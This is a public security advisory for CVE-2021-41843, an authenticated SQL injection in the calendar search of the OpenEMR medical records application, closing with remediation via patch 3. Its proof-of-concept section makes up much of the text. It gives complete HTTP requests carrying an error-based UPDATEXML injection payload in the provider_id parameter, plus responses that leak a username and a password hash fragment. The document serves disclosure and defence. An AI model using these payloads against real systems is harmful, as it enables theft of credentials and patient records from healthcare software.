OpenEMR 6.0.0 / 6.1.0-dev SQL Injection Vulnerability

Authenticated SQL injection in OpenEMR calendar search
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Overview
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Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2109-01
Affected product: OpenEMR web application
Tested versions: 6.0.0, 6.1.0-dev
Vendor: OpenEMR project, https://www.open-emr.org
Credits: Trovent Security GmbH, Stefan Pietsch


Detailed description
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The OpenEMR web application is a medical practice management software and can
be used to store electronic medical records.
Trovent Security GmbH discovered an SQL injection vulnerability in the search
function of the calendar module. The parameter 'provider_id' is injectable.
The attacker needs a valid user account to access the calendar module of the
web application. It is possible to read data from all tables of the database.

Severity: Medium
CVSS Score: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE ID: CWE-89
CVE ID: CVE-2021-41843


Proof of concept
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(1) HTTP request to read a username from the database table 'openemr.users_secure':
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POST /interface/main/calendar/index.php?module=PostCalendar&func=search HTTP/1.1
Content-Length: 324
Host: 172.18.0.3
Content-Type: application/x-www-form-urlencoded
Cookie: OpenEMR=bofmeFnRf2xbYcrhtHxOApQJYZuoVfFnv8lH6luSuvTrw85Q
Connection: close

pc_keywords=TRVNT&pc_keywords_andor=AND&pc_category=&start=09%2F16%2F2021&end=09%2F23%2F2021&
provider_id=%28UPDATEXML%281%2CCONCAT%280x2e%2C0x20%2C%28SELECT%20MID%28%28IFNULL%28CAST%28username
%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C22%29%20FROM%20openemr.users_secure%20ORDER%20BY%20id%29%29%2C1%29%29&pc_facility=&submit=Submit

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(2) HTTP response to (1):
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HTTP/1.1 200 OK
Date: Fri, 17 Sep 2021 07:26:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OpenEMR=bofmeFnRf2xbYcrhtHxOApQJYZuoVfFnv8lH6luSuvTrw85Q; expires=Fri, 17-Sep-2021 15:13:28 GMT; Max-Age=28000; path=/; SameSite=Strict
Set-Cookie: OpenEMR=bofmeFnRf2xbYcrhtHxOApQJYZuoVfFnv8lH6luSuvTrw85Q; expires=Fri, 17-Sep-2021 15:13:29 GMT; Max-Age=28000; path=/; SameSite=Strict
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1; mode=block
Content-Length: 27
Connection: close
Content-Type: text/html; charset=utf-8

XPATH syntax error: 'admin'

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(3) HTTP request to read a password hash from the database table 'openemr.users_secure':
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

POST /interface/main/calendar/index.php?module=PostCalendar&func=search HTTP/1.1
Content-Length: 324
Host: 172.18.0.3
Content-Type: application/x-www-form-urlencoded
Cookie: OpenEMR=bofmeFnRf2xbYcrhtHxOApQJYZuoVfFnv8lH6luSuvTrw85Q
Connection: close

pc_keywords=TRVNT&pc_keywords_andor=AND&pc_category=&start=09%2F16%2F2021&end=09%2F23%2F2021&
provider_id=%28UPDATEXML%281%2CCONCAT%280x2e%2C0x20%2C%28SELECT%20MID%28%28IFNULL%28CAST%28password
%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C22%29%20FROM%20openemr.users_secure%20ORDER%20BY%20id%29%29%2C1%29%29&pc_facility=&submit=Submit

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


(4) HTTP response to (3):
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

HTTP/1.1 200 OK
Date: Fri, 17 Sep 2021 07:27:29 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OpenEMR=bofmeFnRf2xbYcrhtHxOApQJYZuoVfFnv8lH6luSuvTrw85Q; expires=Fri, 17-Sep-2021 15:14:09 GMT; Max-Age=28000; path=/; SameSite=Strict
Set-Cookie: OpenEMR=bofmeFnRf2xbYcrhtHxOApQJYZuoVfFnv8lH6luSuvTrw85Q; expires=Fri, 17-Sep-2021 15:14:09 GMT; Max-Age=28000; path=/; SameSite=Strict
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1; mode=block
Content-Length: 44
Connection: close
Content-Type: text/html; charset=utf-8

XPATH syntax error: '$2y$10$ukudH2lRSW2vKX.'

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Solution / Workaround
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Limit access to the calendar search function until the vulnerability is fixed.

Fixed in OpenEMR version 6.0.0 patch 3, verified by Trovent.